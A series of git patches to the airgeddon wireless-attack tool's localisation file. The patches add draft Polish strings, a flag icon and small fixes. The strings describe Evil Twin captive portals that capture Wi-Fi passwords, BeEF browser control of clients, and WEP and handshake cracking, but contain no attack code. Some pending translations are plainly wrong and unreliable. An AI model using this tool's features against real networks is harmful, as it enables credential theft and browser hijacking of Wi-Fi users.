momentos" @@ -250,6 +273,7 @@ function language_strings() { et_misc_texts["RUSSIAN",18]="Пароль верен, подключение устанавливается" et_misc_texts["GREEK",18]="Ο κωδικός πρόσβασης είναι σωστός, η σύνδεση θα αποκατασταθεί σε λίγα λεπτά" et_misc_texts["ITALIAN",18]="La password è corretta, la connessione sará ripristinata in un momento" + et_misc_texts["POLISH",18]="${pending_of_translation} Hasło jest prawidłowe, połączenie zostanie przywrócone za chwilę" et_misc_texts["ENGLISH",19]="airgeddon. Captive portal Evil Twin attack captured password" et_misc_texts["SPANISH",19]="airgeddon. Contraseña capturada en el portal cautivo del ataque Evil Twin" @@ -259,6 +283,7 @@ function language_strings() { et_misc_texts["RUSSIAN",19]="airgeddon. Атака Злой Двойник + Перехватывающий портал захватили пароль" et_misc_texts["GREEK",19]="airgeddon. Η επίθεση Evil Twin με captive portal κατέγραψε τον κωδικό πρόσβασης" et_misc_texts["ITALIAN",19]="airgeddon. Password catturata nel captive portal dell'attacco Evil Twin" + et_misc_texts["POLISH",19]="${pending_of_translation} airgeddon. Hasło zapisane na niewoli portalu ataku Evil Twin" et_misc_texts["ENGLISH",20]="Attempts" et_misc_texts["SPANISH",20]="Intentos" @@ -268,6 +293,7 @@ function language_strings() { et_misc_texts["RUSSIAN",20]="Попытки" et_misc_texts["GREEK",20]="Προσπάθειες" et_misc_texts["ITALIAN",20]="Tentativi" + et_misc_texts["POLISH",20]="${pending_of_translation} Próby" et_misc_texts["ENGLISH",21]="last password:" et_misc_texts["SPANISH",21]="última contraseña:" @@ -277,6 +303,7 @@ function language_strings() { et_misc_texts["RUSSIAN",21]="последний пароль:" et_misc_texts["GREEK",21]="τελευταίος κωδικός πρόσβασης:" et_misc_texts["ITALIAN",21]="ultima password:" + et_misc_texts["POLISH",21]="${pending_of_translation} ostatnie hasło:" et_misc_texts["ENGLISH",22]="Captured passwords on failed attemps" et_misc_texts["SPANISH",22]="Contraseñas capturadas en intentos fallidos" @@ -286,6 +313,7 @@ function language_strings() { et_misc_texts["RUSSIAN",22]="Пароли, захваченные в неудачных попытках" et_misc_texts["GREEK",22]="Καταγεγραμμένοι κωδικοί πρόσβασης σε αποτυχημένες προσπάθειες" et_misc_texts["ITALIAN",22]="Password catturate in tentativi falliti" + et_misc_texts["POLISH",22]="${pending_of_translation} Hasła przechwycone podczas nieudanych prób" et_misc_texts["ENGLISH",23]="Password captured successfully" et_misc_texts["SPANISH",23]="Contraseña capturada con éxito" @@ -295,6 +323,7 @@ function language_strings() { et_misc_texts["RUSSIAN",23]="Пароль успешно захвачен" et_misc_texts["GREEK",23]="Ο κωδικός πρόσβασης καταγράφτηκε επιτυχώς" et_misc_texts["ITALIAN",23]="Password catturata con successo" + et_misc_texts["POLISH",23]="${pending_of_translation} Hasło zostało pomyślnie przechwycone" et_misc_texts["ENGLISH",24]="The password was saved on file" et_misc_texts["SPANISH",24]="La contraseña se ha guardado en el fichero" @@ -304,6 +333,7 @@ function language_strings() { et_misc_texts["RUSSIAN",24]="Пароль был сохранён в файле" et_misc_texts["GREEK",24]="Ο κωδικός πρόσβασης αποθηκεύτηκε σε αρχείο" et_misc_texts["ITALIAN",24]="La password è stata salvata nel file" + et_misc_texts["POLISH",24]="${pending_of_translation} Hasło zostało zapisane w pliku" et_misc_texts["ENGLISH",25]="Press [Enter] on the main script window to continue, this window will be closed" et_misc_texts["SPANISH",25]="Pulsa [Enter] en la ventana principal del script para continuar, esta ventana se cerrará" @@ -313,6 +343,7 @@ function language_strings() { et_misc_texts["RUSSIAN",25]="Нажмите [Enter] в главном окне для продолжения, это окно будет закрыто" et_misc_texts["GREEK",25]="Πατήστε [Enter] στο κύριο παράθυρο του script για να συνεχίσετε, το παράθυρο αυτό θα κλείσει" et_misc_texts["ITALIAN",25]="Premere il tasto [Enter] nella finestra principale dello script per continuare, questa finestra si chiuderà" + et_misc_texts["POLISH",25]="${pending_of_translation} Wciśnij [Enter] w oknie głównym skryptu, aby kontynuować, to okno zostanie zamknięte" et_misc_texts["ENGLISH",26]="Error. The password must be at least 8 characters. Redirecting to the main screen" et_misc_texts["SPANISH",26]="Error. La contraseña debe tener al menos 8 caracteres. Redirigiendo a la pantalla principal" @@ -322,6 +353,7 @@ function language_strings() { et_misc_texts["RUSSIAN",26]="Ошибка. В пароле должно быть не менее 8 символов. Перенаправление на главную страницу" et_misc_texts["GREEK",26]="Σφάλμα. Ο κωδικός πρόσβασης πρέπει να αποτελείται από τουλάχιστον 8 χαρακτήρες. Θα καθοδηγηθείτε στην κύρια οθόνη" et_misc_texts["ITALIAN",26]="Errore. La password deve essere di almeno 8 caratteri. Reindirizzando alla schermata principale" + et_misc_texts["POLISH",26]="${pending_of_translation} Błąd. Hasło musi mieć co najmniej 8 znaków. Przekierowywanie do głównego ekranu" et_misc_texts["ENGLISH",27]="This attack has two parts. Watch the sniffer's screen to see if a password appears. You can also open BeEF control panel at ${white_color}${beef_control_panel_url}${pink_color} , log in (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) and try to control the clients browser" et_misc_texts["SPANISH",27]="Este ataque tiene dos partes. Estate atento a la pantalla del sniffer para ver si aparece alguna contraseña. También puedes abrir el panel de control de BeEF en ${white_color}${beef_control_panel_url}${pink_color} , hacer login (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) e intentar controlar el navegador de los clientes" @@ -331,6 +363,7 @@ function language_strings() { et_misc_texts["RUSSIAN",27]="Эта атака идёт по двум направлениям. Вы можете наблюдать за окном сниффера, чтобы отследить появление пароля. Также можете перейти в панель управления BeEF ${white_color}${beef_control_panel_url}${pink_color} , учётные данные для входа (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) и попытаться управлять браузером клиентов" et_misc_texts["GREEK",27]="Αυτή η επίθεση έχει δύο μέρη. Παρακολουθήστε την οθόνη του sniffer για να δείτε εαν εμφανιστεί κάποιος κωδικός. Μπορείτε επίσης να ανοίξετε τον πίνακα ελέγχου του BeEF στο ${white_color}${beef_control_panel_url}${pink_color} , συνδεθείτε (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) και προσπαθείστε να ελέγξετε τον browser του χρήστη-πελάτη" et_misc_texts["ITALIAN",27]="Questo attacco è composto da due parti. Presta attenzione alla schermata dello sniffer per vedere se compare una password. È inoltre possibile aprire il pannello di controllo di BeEF in ${white_color}${beef_control_panel_url}${pink_color} , effettuare il login (utente: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) e cercare di controllare il navigatore degli utenti" + et_misc_texts["POLISH",27]="${pending_of_translation} Ten atak ma dwie części. Bądź na bieżąco z ekranem sniffer, aby sprawdzić, czy pojawia się hasło. Możesz także otworzyć panel sterowania BeEF w ${white_color}${beef_control_panel_url}${pink_color} , zaloguj się (użytkownik: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) i spróbuj kontrolować przeglądarkę klientów" declare -gA wep_texts wep_texts["ENGLISH",1]="airgeddon. Captured password during WEP attack" @@ -341,6 +374,7 @@ function language_strings() { wep_texts["RUSSIAN",1]="airgeddon. В атаке WEP захвачен пароль" wep_texts["GREEK",1]="airgeddon. Ο κωδικός πρόσβασης κατά την διάρκεια της επίθεσης WEP" wep_texts["ITALIAN",1]="airgeddon. Password catturata con l'attacco WEP" + wep_texts["POLISH",1]="${pending_of_translation} airgeddon. Hasło zrobione podczas ataku WEP" wep_texts["ENGLISH",2]="Channel" wep_texts["SPANISH",2]="Canal" @@ -350,6 +384,7 @@ function language_strings() { wep_texts["RUSSIAN",2]="Канал" wep_texts["GREEK",2]="Κανάλι" wep_texts["ITALIAN",2]="Canale" + wep_texts["POLISH",2]="${pending_of_translation} Kanał" wep_texts["ENGLISH",3]="Hexadecimal" wep_texts["SPANISH",3]="Hexadecimal" @@ -359,6 +394,7 @@ function language_strings() { wep_texts["RUSSIAN",3]="Шестнадцатеричный" wep_texts["GREEK",3]="Δεκαεξαδικό" wep_texts["ITALIAN",3]="Esadecimale" + wep_texts["POLISH",3]="${pending_of_translation} Szesnastkowa" wep_texts["ENGLISH",4]="WEP key decrypted successfully:" wep_texts["SPANISH",4]="Clave WEP desencriptada con éxito:" @@ -368,6 +404,7 @@ function language_strings() { wep_texts["RUSSIAN",4]="Ключ WEP расшифрован:" wep_texts["GREEK",4]="Το κλειδί WEP αποκρυπτογραφήθηκε με επιτυχία:" wep_texts["ITALIAN",4]="Chiave WEP decifrata con successo:" + wep_texts["POLISH",4]="${pending_of_translation} Zdekodowany klucz WEP odszyfrowywany:" wep_texts["ENGLISH",5]="WEP AP Info" wep_texts["SPANISH",5]="Info WEP AP" @@ -377,6 +414,7 @@ function language_strings() { wep_texts["RUSSIAN",5]="Информация о WEP ТД" wep_texts["GREEK",5]="Πληροφορίες WEP AP" wep_texts["ITALIAN",5]="Info WEP AP" + wep_texts["POLISH",5]="${pending_of_translation} Informacja dotycząca AP WEP" wep_texts["ENGLISH",6]="The password was saved on file" wep_texts["SPANISH",6]="La contraseña se ha guardado en el fichero" @@ -386,6 +424,7 @@ function language_strings() { wep_texts["RUSSIAN",6]="Пароль был сохранён в файле" wep_texts["GREEK",6]="Ο κωδικός πρόσβασης αποθηκεύτηκε σε αρχείο" wep_texts["ITALIAN",6]="La password è stata salvata nel file" + wep_texts["POLISH",6]="${pending_of_translation} Hasło zostało zapisane w pliku" wep_texts["ENGLISH",7]="Press [Enter] on the main script window to continue, this window will be closed" wep_texts["SPANISH",7]="Pulsa [Enter] en la ventana principal del script para continuar, esta ventana se cerrará" @@ -395,6 +434,7 @@ function language_strings() { wep_texts["RUSSIAN",7]="Нажмите [Enter] в главном окне для продолжения, это окно будет закрыто" wep_texts["GREEK",7]="Πατήστε [Enter] στο κύριο παράθυρο του script για να συνεχίσετε, το παράθυρο αυτό θα κλείσει" wep_texts["ITALIAN",7]="Premere il tasto [Enter] nella finestra principale dello script per continuare, questa finestra si chiuderà" + wep_texts["POLISH",7]="${pending_of_translation} Wciśnij [Enter] w oknie głównym skryptu, aby kontynuować, to okno zostanie zamknięte" declare -gA hashcat_texts hashcat_texts["ENGLISH",1]="airgeddon. Decrypted password using hashcat" @@ -405,6 +445,7 @@ function language_strings() { hashcat_texts["RUSSIAN",1]="airgeddon. Пароль расшифрован с использованием hashcat" hashcat_texts["GREEK",1]="airgeddon. Αποκρυπτογραφημένος κωδικός πρόσβασης με χρήση hashcat" hashcat_texts["ITALIAN",1]="airgeddon. Password decifrata con hashcat" + hashcat_texts["POLISH",1]="${pending_of_translation} airgeddon. Odszyfrowany hasłem hashcat" declare -gA aircrack_texts aircrack_texts["ENGLISH",1]="airgeddon. Decrypted password using aircrack" @@ -415,6 +456,7 @@ function language_strings() { aircrack_texts["RUSSIAN",1]="airgeddon. Пароль расшифрован с использованием aircrack" aircrack_texts["GREEK",1]="airgeddon. Αποκρυπτογραφημένος κωδικός πρόσβασης με χρήση aircrack" aircrack_texts["ITALIAN",1]="airgeddon. Password decifrata con aircrack" + aircrack_texts["POLISH",1]="${pending_of_translation} airgeddon. Odszyfrowane hasło z aircrack" declare -gA footer_texts footer_texts["ENGLISH",1]="If you enjoyed the script and found it useful, you can support the project by making a donation. Through Paypal (${mail}) or sending a fraction of a bitcoin (${bitcoin}). Any amount, no matter how small (1, 2, 5 $/€) is welcome. More information and direct links to do it at: ${urlgithub_wiki}/Contributing" @@ -425,6 +467,7 @@ function language_strings() { footer_texts["RUSSIAN",1]="Если вам понравилась эта программа и она оказался для вас полезной, вы можете поддержать проект, сделав пожертвование. Через PayPal (${mail}) или отправив часть биткойна на (${bitcoin}). Приветствуется любая сумма, даже небольшая (1, 2, 5 $/€). Более подробную информацию и прямые ссылки можно получить по адресу: ${urlgithub_wiki}/Contributing" footer_texts["GREEK",1]="Εαν ευχαριστηθήκατε το script και το βρήκατε χρήσιμο, μπορείτε να υποστηρίξετε το project κάνοντας κάποια δωρεά. Μέσω του Paypal (${mail}) ή στέλνοντας κάποιο ποσοστό bitcoin (${bitcoin}). Είναι καλοδεχούμενο οποιοδήποτε ποσό (1, 2, 5 $/€), δεν έχει σημασία το πόσο λίγο μπορεί να είναι. Δίνονται περισσότερες πληροφορίες και links για να κάνετε δωρεά στη διεύθυνση: ${urlgithub_wiki}/Contributing" footer_texts["ITALIAN",1]="Se ti è piaciuto lo script e l'hai trovato utile, è possibile sostenere il progetto con una donazione. Attraverso PayPal (${mail}) o inviando una frazione di bitcoin (${bitcoin}). Qualsiasi importo per quanto piccolo (1, 2, 5 $/€) è ben accolto. Ulteriori informazioni e collegamenti diretti per effettuare la donazione in: ${urlgithub_wiki}/Contributing" + footer_texts["POLISH",1]="${pending_of_translation} Jeśli podobał Ci się ten scenariusz i okazał się użyteczny, możesz poprzeć ten projekt, składając darowiznę. Za pośrednictwem usługi Paypal (${mail}) lub wysyłając ułamek bitcoin (${bitcoin}). Zapraszamy wszystkich małych (1, 2, 5 $/€) małych rozmiarów. Więcej informacji i linki do: ${urlgithub_wiki}/Contributing" declare -A arr arr["ENGLISH",0]="This interface ${interface} is already in managed mode" @@ -4441,14 +4484,14 @@ function language_strings() { arr["GREEK",445]="Εάν έχετε εγκαταστήσει το ccze και αντιμετωπίζετε σφάλματα εμφάνισης ή δυσλειτουργίες σε ορισμένα παράθυρα, θα πρέπει να απενεργοποιήσετε τον χρωματισμό στο μενού επιλογών και γλώσσας" arr["ITALIAN",445]="Se hai installato ccze e vedi errori o alcune finestre tremolanti, disattiva la colorazione nel menú opzioni e lingua" - arr["ENGLISH",446]="9. Return to options menu" - arr["SPANISH",446]="9. Volver al menú de opciones" - arr["FRENCH",446]="9. Retourner au menu options" - arr["CATALAN",446]="9. Tornar al menú d'opcions" - arr["PORTUGUESE",446]="9. Voltar ao menu de opções" - arr["RUSSIAN",446]="9. Возврат в меню опций" - arr["GREEK",446]="9. Επιστροφή στο μενού επιλογών" - arr["ITALIAN",446]="9. Tornare al menú delle opzioni" + arr["ENGLISH",446]="10. Return to options menu" + arr["SPANISH",446]="10. Volver al menú de opciones" + arr["FRENCH",446]="10. Retourner au menu options" + arr["CATALAN",446]="10. Tornar al menú d'opcions" + arr["PORTUGUESE",446]="10. Voltar ao menu de opções" + arr["RUSSIAN",446]="10. Возврат в меню опций" + arr["GREEK",446]="10. Επιστροφή στο μενού επιλογών" + arr["ITALIAN",446]="10. Tornare al menú delle opzioni" arr["ENGLISH",447]="5. Set permanently airgeddon's language to the current one" arr["SPANISH",447]="5. Cambiar permanentemente el idioma de airgeddon al actual" @@ -4972,6 +5015,26 @@ function language_strings() { arr["GREEK",504]="${blue_color}Αυτή η διαδικασία υπολογισμού PIN δεν είναι καθ' αυτοὺ offline. Απαιτείται ένα ολοκληρωμένο \"probe\" response από το σημείο πρόσβασης για να ληφθούν τα απαραίτητα δεδομένα. ${green_color}Θέλετε να συνεχίσετε; ${normal_color}${visual_choice}" arr["ITALIAN",504]="${blue_color}Questo processo di calcolo del PIN non è puramente offline. É richiesta una risposta completa \"probe\" dal punto di accesso obiettivo per ottenere i dati necessari. ${green_color}Vuoi continuare? ${normal_color}${visual_choice}" + arr["ENGLISH",505]="Language changed to Polish" + arr["SPANISH",505]="Idioma cambiado a Polaco" + arr["FRENCH",505]="${pending_of_translation} Le script sera maintenant en Polonais" + arr["CATALAN",505]="${pending_of_translation} Idioma canviat a Polonès" + arr["PORTUGUESE",505]="${pending_of_translation} Idioma alterado para Polonês" + arr["RUSSIAN",505]="${pending_of_translation} Язык изменён на Полировать" + arr["GREEK",505]="${pending_of_translation} Η γλώσσα άλλαξε στα Πολωνικά" + arr["ITALIAN",505]="${pending_of_translation} Lingua cambiata in Polacco" + arr["POLISH",505]="${pending_of_translation} Język zmienił się na Polski" + + arr["ENGLISH",506]="9. Polish" + arr["SPANISH",506]="9. Polaco" + arr["FRENCH",506]="${pending_of_translation} 9. Polonais" + arr["CATALAN",506]="${pending_of_translation} 9. Polonès" + arr["PORTUGUESE",506]="${pending_of_translation} 9. Polonês" + arr["RUSSIAN",506]="${pending_of_translation} 9. Πολωνικά" + arr["GREEK",506]="${pending_of_translation} 9. Ιταλικά" + arr["ITALIAN",506]="${pending_of_translation} 9. Polacco" + arr["POLISH",506]="${pending_of_translation} 9. Polski" + case "${3}" in "yellow") interrupt_checkpoint "${2}" "${3}" From d16bf39bc1c0218a4f96e04f412aff68a9d689e1 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 21 Oct 2017 21:31:54 +0200 Subject: [PATCH 08/70] Added polish language flag icon --- imgs/flags/pl.png | Bin 0 -> 374 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 imgs/flags/pl.png diff --git a/imgs/flags/pl.png b/imgs/flags/pl.png new file mode 100644 index 0000000000000000000000000000000000000000..d413d010b5b097c4e0a4604eba86dad79567ed16 GIT binary patch literal 374 zcmV-+0g3*JP)Ab?mv3iQ8Nu5A{|6C_|Nk>HFfjc`0biay0|+1% z2B@O{$c+Ek03##gzdwHf0*Hl3)etG5lK=vU1?W~rxN0!OqXDP`Ab?mH`1u+7`u;zA z_W#cxhChG)!_n{G|9=A+zrl>(AX#bYe+w4^1Q6Is4VEzI_51&? zUm!LT$@u9L&^Z7B1a=Zw2xL66B2?87%l|Mi00a<712fnG3~)u5+Wr7F{AKw27w8;- z00L=X`u&GNQW9*;Uxq&*os3{386YGO{rw9;K*az7#P}5)xp2gQ%0-g`0)PMm0MPYZ UsK>Njp#T5?07*qoM6N<$g4HXSwg3PC literal 0 HcmV?d00001 From b16c0a7ebb2a58c04cd11480bb2bf1207ee5a9fc Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 22 Oct 2017 12:19:12 +0200 Subject: [PATCH 09/70] Corrected polish translation --- language_strings.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 8bb80e27d..34208e5b9 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -2,7 +2,7 @@ #Title........: language_strings.sh #Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r -#Date.........: 20171021 +#Date.........: 20171022 #Bash Version.: 4.2 or later #Set language_strings file version @@ -46,7 +46,7 @@ function language_strings() { hintprefix["RUSSIAN"]="Подсказка" hintprefix["GREEK"]="Συμβουλή" hintprefix["ITALIAN"]="Consiglio" - hintprefix["POLISH"]="${pending_of_translation} The" + hintprefix["POLISH"]="${pending_of_translation} Porady" hintvar="*${hintprefix[${language}]}*" escaped_hintvar="\*${hintprefix[${language}]}\*" From e8d6379fa13faea9ca0da0d3cfff8b09f8bc0d85 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 22 Oct 2017 12:22:14 +0200 Subject: [PATCH 10/70] Trimmed some surplus spaces on portuguese translations --- language_strings.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 34208e5b9..7a7fc71d5 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -119,7 +119,7 @@ function language_strings() { et_misc_texts["SPANISH",3]="Ips entregadas por DHCP a posibles clientes conectados" et_misc_texts["FRENCH",3]="Ips attribuées à d'éventuels clients DHCP" et_misc_texts["CATALAN",3]="Ips lliurades per DHCP a possibles clients connectats" - et_misc_texts["PORTUGUESE",3]="Ips entregues pelo DHCP aos possiveis clientes conectados " + et_misc_texts["PORTUGUESE",3]="Ips entregues pelo DHCP aos possiveis clientes conectados" et_misc_texts["RUSSIAN",3]="IP, которые DHCP будет давать возможным подключённым клиентам" et_misc_texts["GREEK",3]="DHCP IP διευθύνσεις που έχουν δωθεί σε πιθανούς συνδεδεμένους χρήστες" et_misc_texts["ITALIAN",3]="Ips forniti dal DHCP a possibili clienti collegati" @@ -3345,7 +3345,7 @@ function language_strings() { arr["SPANISH",319]="Se ha establecido el idioma del portal cautivo" arr["FRENCH",319]="La langue pour le portail captif est activée" arr["CATALAN",319]="S'ha establert l'idioma del portal captiu" - arr["PORTUGUESE",319]="A língua do portal cativo foi selecionada " + arr["PORTUGUESE",319]="A língua do portal cativo foi selecionada" arr["RUSSIAN",319]="Язык перехватывающего портала установлен" arr["GREEK",319]="Εγκαταστάθηκε η γλώσσα στο captive portal" arr["ITALIAN",319]="La lingua del captive portal è stata stabilita" @@ -4803,7 +4803,7 @@ function language_strings() { arr["SPANISH",481]="Idioma cambiado al actual permanentemente" arr["FRENCH",481]="La langue choisie est l'actuelle langue permanente" arr["CATALAN",481]="Idioma canviat a l'actual permanentment" - arr["PORTUGUESE",481]="Idioma definido permanentemente para o atual " + arr["PORTUGUESE",481]="Idioma definido permanentemente para o atual" arr["RUSSIAN",481]="Язык изменён на текущий с сохранением после перезапуска" arr["GREEK",481]="Τέθηκε μόνιμα η τρέχουσα γλώσσα" arr["ITALIAN",481]="Lingua cambiata a quella attuale permanentemente" @@ -4938,7 +4938,7 @@ function language_strings() { arr["SPANISH",496]="5. Consultar en la base de datos de PINs" arr["FRENCH",496]="5. Chercher dans la base de données PIN" arr["CATALAN",496]="5. Consultar a la base de dades de PINs" - arr["PORTUGUESE",496]="5. Verificar PINs no banco de dados " + arr["PORTUGUESE",496]="5. Verificar PINs no banco de dados" arr["RUSSIAN",496]="5. Поиск в базе данных PIN-кода" arr["GREEK",496]="5. Αναζήτηση στη βάση δεδομένων PIN" arr["ITALIAN",496]="5. Controllare il database dei PIN" From 7e96a9fa9ff28eea397df444981852218095ab3d Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 22 Oct 2017 12:42:21 +0200 Subject: [PATCH 11/70] Preparing language_strings.sh polish structure --- language_strings.sh | 507 +++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 506 insertions(+), 1 deletion(-) diff --git a/language_strings.sh b/language_strings.sh index 7a7fc71d5..b7dbb11c5 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -59,7 +59,7 @@ function language_strings() { optionaltool_needed["RUSSIAN"]="Опция заблокирована, требуется: " optionaltool_needed["GREEK"]="Κλειδωμένη επιλογή, χρειάζεται: " optionaltool_needed["ITALIAN"]="Opzione bloccata, richiede: " - optionaltool_needed["POLISH"]="${pending_of_translation} Zablokowana opcja, wymaga:" + optionaltool_needed["POLISH"]="${pending_of_translation} Zablokowana opcja, wymaga: " declare -A under_construction under_construction["ENGLISH"]="under construction" @@ -478,6 +478,7 @@ function language_strings() { arr["RUSSIAN",0]="Этот интерфейс ${interface} уже в управляемом режиме" arr["GREEK",0]="Αυτή η διεπαφή ${interface} είναι ήδη σε ετερόκλητη κατάσταση" arr["ITALIAN",0]="Questa interfaccia ${interface} è già in modalità managed" + arr["POLISH",0]="${pending_of_translation} " arr["ENGLISH",1]="This interface ${interface} is not a wifi card. It doesn't support managed mode" arr["SPANISH",1]="Esta interfaz ${interface} no es una tarjeta wifi. No soporta modo managed" @@ -487,6 +488,7 @@ function language_strings() { arr["RUSSIAN",1]="Этот интерфейс ${interface} не является wifi картой. Он не поддерживает управляемый режим" arr["GREEK",1]="Αυτή η διεπαφή ${interface} δεν είναι κάρτα wifi. Δεν υποστηρίζει ετερόκλητη κατάσταση." arr["ITALIAN",1]="Questa interfaccia ${interface} non è una scheda wifi. Non supporta la modalità managed" + arr["POLISH",1]="${pending_of_translation} " arr["ENGLISH",2]="English O.S. language detected. Supported by script. Automatically changed" arr["SPANISH",2]="Idioma Español del S.O. detectado. Soportado por el script. Se cambió automáticamente" @@ -496,6 +498,7 @@ function language_strings() { arr["RUSSIAN",2]="Определена ОС на русском. Поддерживается скриптом. Локализация автоматически изменена. Помощь на русском: https://hackware.ru/?p=670" arr["GREEK",2]="Εντοπίστηκε Ελληνική γλώσσα συστήματος. Υποστηρίξιμη από το script. Άλλαξε αυτόματα" arr["ITALIAN",2]="Lingua Italiana del S.O. rilevata. Supportata dallo script. Viene cambiata automaticamente" + arr["POLISH",2]="${pending_of_translation} " arr["ENGLISH",3]="Select target network :" arr["SPANISH",3]="Selecciona la red objetivo :" @@ -505,6 +508,7 @@ function language_strings() { arr["RUSSIAN",3]="Выбор целевой сети :" arr["GREEK",3]="Διαλέξτε δίκτυο :" arr["ITALIAN",3]="Scegliere una rete come obiettivo :" + arr["POLISH",3]="${pending_of_translation} " arr["ENGLISH",4]="Press [Enter] key to start attack..." arr["SPANISH",4]="Pulse la tecla [Enter] para comenzar el ataque..." @@ -514,6 +518,7 @@ function language_strings() { arr["RUSSIAN",4]="Нажмите клавишу [Enter] для начала атаки..." arr["GREEK",4]="Πατήστε [Enter] για να ξεκινήσει η επίθεση..." arr["ITALIAN",4]="Premere il tasto [Enter] per iniziare l'attacco..." + arr["POLISH",4]="${pending_of_translation} " arr["ENGLISH",5]="It looks like your internet connection is unstable. The script can't connect to repository. It will continue without updating..." arr["SPANISH",5]="Parece que tu conexión a internet no es estable. El script no puede conectar al repositorio. Continuará sin actualizarse..." @@ -523,6 +528,7 @@ function language_strings() { arr["RUSSIAN",5]="Интернет-подключение кажется нестабильным. Скрипт не может подключиться к репозиторию. Он продолжит без обновления..." arr["GREEK",5]="Φαίνεται πως η σύνδεση με το διαδίκτυο δεν είναι σταθερή. Το script δεν μπορεί να συνδεθεί στο αποθετήριο. Θα συνεχίσει χωρίς να έχει ενημερωθεί..." arr["ITALIAN",5]="Sembra che la connessione a internet non sia stabile. Lo script non riesce a connettersi al repository. Continuerà senza aggiornarsi..." + arr["POLISH",5]="${pending_of_translation} " arr["ENGLISH",6]="Welcome to airgeddon script v${airgeddon_version}" arr["SPANISH",6]="Bienvenid@ a airgeddon script v${airgeddon_version}" @@ -532,6 +538,7 @@ function language_strings() { arr["RUSSIAN",6]="Добро пожаловать в скрипт airgeddon v${airgeddon_version}" arr["GREEK",6]="Καλωσήρθατε στο airgeddon v${airgeddon_version}" arr["ITALIAN",6]="Benvenuti a airgeddon script v${airgeddon_version}" + arr["POLISH",6]="${pending_of_translation} " arr["ENGLISH",7]="This script is only for educational purposes. Be good boyz&girlz!" arr["SPANISH",7]="Este script se ha hecho sólo con fines educativos. Sed buen@s chic@s!" @@ -541,6 +548,7 @@ function language_strings() { arr["RUSSIAN",7]="Этот скрипт только для образовательных целей. Будьте хорошими мальчиками и девочками!" arr["GREEK",7]="Αυτό το script είναι για διδακτικούς σκοπούς. Να είστε φρόνιμοι!" arr["ITALIAN",7]="Questo script è stato fatto solo per scopi didattici. Fate i bravi!" + arr["POLISH",7]="${pending_of_translation} " arr["ENGLISH",8]="Known compatible distros with this script :" arr["SPANISH",8]="Distros conocidas compatibles con este script :" @@ -550,6 +558,7 @@ function language_strings() { arr["RUSSIAN",8]="Дистрибутивы о которых известно, что они совместимы со скриптом :" arr["GREEK",8]="Γνώστες εκδόσεις που υποστηρίζουν αυτό το script :" arr["ITALIAN",8]="Distribuzioni note compatibili con questo script :" + arr["POLISH",8]="${pending_of_translation} " arr["ENGLISH",9]="Detecting system..." arr["SPANISH",9]="Detectando sistema..." @@ -559,6 +568,7 @@ function language_strings() { arr["RUSSIAN",9]="Определяем систему..." arr["GREEK",9]="Το σύστημα εντοπίζεται..." arr["ITALIAN",9]="Rilevando sistema..." + arr["POLISH",9]="${pending_of_translation} " arr["ENGLISH",10]="This interface ${interface} is already in monitor mode" arr["SPANISH",10]="Esta interfaz ${interface} ya está en modo monitor" @@ -568,6 +578,7 @@ function language_strings() { arr["RUSSIAN",10]="Этот интерфейс ${interface} уже в режиме монитора" arr["GREEK",10]="Αυτή η διεπαφή ${interface} είναι ήδη σε κατάσταση παρακολούθησης" arr["ITALIAN",10]="Questa interfaccia ${interface} è già in modalità monitor" + arr["POLISH",10]="${pending_of_translation} " arr["ENGLISH",11]="Exiting airgeddon script v${airgeddon_version} - See you soon! :)" arr["SPANISH",11]="Saliendo de airgeddon script v${airgeddon_version} - Nos vemos pronto! :)" @@ -577,6 +588,7 @@ function language_strings() { arr["RUSSIAN",11]="Выход из скрипта airgeddon v${airgeddon_version} - До встречи! :)" arr["GREEK",11]="Κλείσιμο του airgeddon v${airgeddon_version} - Αντίο :)" arr["ITALIAN",11]="Abbandonando airgeddon script v${airgeddon_version} - A presto! :)" + arr["POLISH",11]="${pending_of_translation} " arr["ENGLISH",12]="${blue_color}Interruption detected. ${green_color}Do you really want to exit? ${normal_color}${visual_choice}" arr["SPANISH",12]="${blue_color}Detectada interrupción. ${green_color}¿Quieres realmente salir del script? ${normal_color}${visual_choice}" @@ -586,6 +598,7 @@ function language_strings() { arr["RUSSIAN",12]="${blue_color}Обнаружено прерывание. ${green_color}Вы действительно хотите выйти? ${normal_color}${visual_choice}" arr["GREEK",12]="${blue_color}Εντοπίστηκε διακοπή. ${green_color}Είστε σίγουροι ότι θέλετε να τερματίσετε το script; ${normal_color}${visual_choice}" arr["ITALIAN",12]="${blue_color}Rilevata interruzione. ${green_color}Vuoi davvero uscire dallo script? ${normal_color}${visual_choice}" + arr["POLISH",12]="${pending_of_translation} " arr["ENGLISH",13]="This interface ${interface} is not a wifi card. It doesn't support monitor mode" arr["SPANISH",13]="Esta interfaz ${interface} no es una tarjeta wifi. No soporta modo monitor" @@ -595,6 +608,7 @@ function language_strings() { arr["RUSSIAN",13]="Этот интерфейс ${interface} не является wifi картой. Он не поддерживает режим монитора" arr["GREEK",13]="Αυτή η διεπαφή ${interface} δεν έιναι κάρτα wifi. Δεν υποστηρίζει κατάσταση παρακολούθησης" arr["ITALIAN",13]="Questa interfaccia ${interface} non è una scheda wifi. Non supporta la modalità del monitor" + arr["POLISH",13]="${pending_of_translation} " arr["ENGLISH",14]="This interface ${interface} is not in monitor mode" arr["SPANISH",14]="Esta interfaz ${interface} no está en modo monitor" @@ -604,6 